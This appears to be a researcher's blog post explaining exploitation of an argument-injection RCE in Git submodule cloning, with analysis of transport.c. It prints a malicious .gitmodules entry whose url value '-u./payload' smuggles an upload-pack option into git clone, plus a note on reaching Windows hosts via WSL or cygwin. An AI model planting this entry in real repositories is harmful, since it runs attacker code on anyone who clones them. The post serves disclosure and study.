I’ve gotten a couple of questions about exploitation for the recent RCE in Git. So here we go with some technical details.

TL;DR

Here is a PoC repository.

Exploitation

The .gitmodules file looks as follows:

[submodule "x:x"]
	path = x:x
	url = -u./payload

The actual command being injected is set by the url, -u./payload points the upload-pack flag of git clone to the payload shell script. Note also the : within the path, this part is needed to actually get the payload script executed.

The path will end up as the repository URL in the subsequent clone operation:

execve("/usr/lib/git-core/git", ["/usr/lib/git-core/git", "clone",
"--no-checkout", "--progress", "--separate-git-dir",
"/tmp/huhu/.git/modules/x:x", "-u./payload", "/tmp/huhu/x:x"],...

As the actual URL from .gitmodules is interpreted as the -u argument.

The colon is due to the fact, that the colon character let us go past those lines in transport.c:

    } else if (url_is_local_not_ssh(url) && is_file(url) && is_bundle(url, 1)) {
        struct bundle_transport_data *data = xcalloc(1, sizeof(*data));
        transport_check_allowed("file");
        ret->data = data;
        ret->vtable = &bundle_vtable;
        ret->smart_options = NULL;

Due to url_is_local_not_ssh will return false due to the colon in the path. And therefore later on in the code the smart_options containing the uploadpack setting are still in place:

   } else {
		/* Unknown protocol in URL. Pass to external handler. */
		int len = external_specification_len(url);
		char *handler = xmemdupz(url, len);
		transport_helper_init(ret, handler);
	}

	if (ret->smart_options) {
		ret->smart_options->thin = 1;
		ret->smart_options->uploadpack = "git-upload-pack";
		if (remote->uploadpack)
			ret->smart_options->uploadpack = remote->uploadpack;
		ret->smart_options->receivepack = "git-receive-pack";1
		if (remote->receivepack)
			ret->smart_options->receivepack = remote->receivepack;
	}

Further hints

The constraint to have a colon in the path seems to hinder exploitation on Windows as a colon is a forbidden character within a path on Windows. However as noted by some people during the disclosure: Git running within the Windows Subsystem for Linux or cygwin will allow exploitation on Windows hosts.

Etienne Stalmans who found a similar issue earlier this year managed to exploit this argument injection using --template.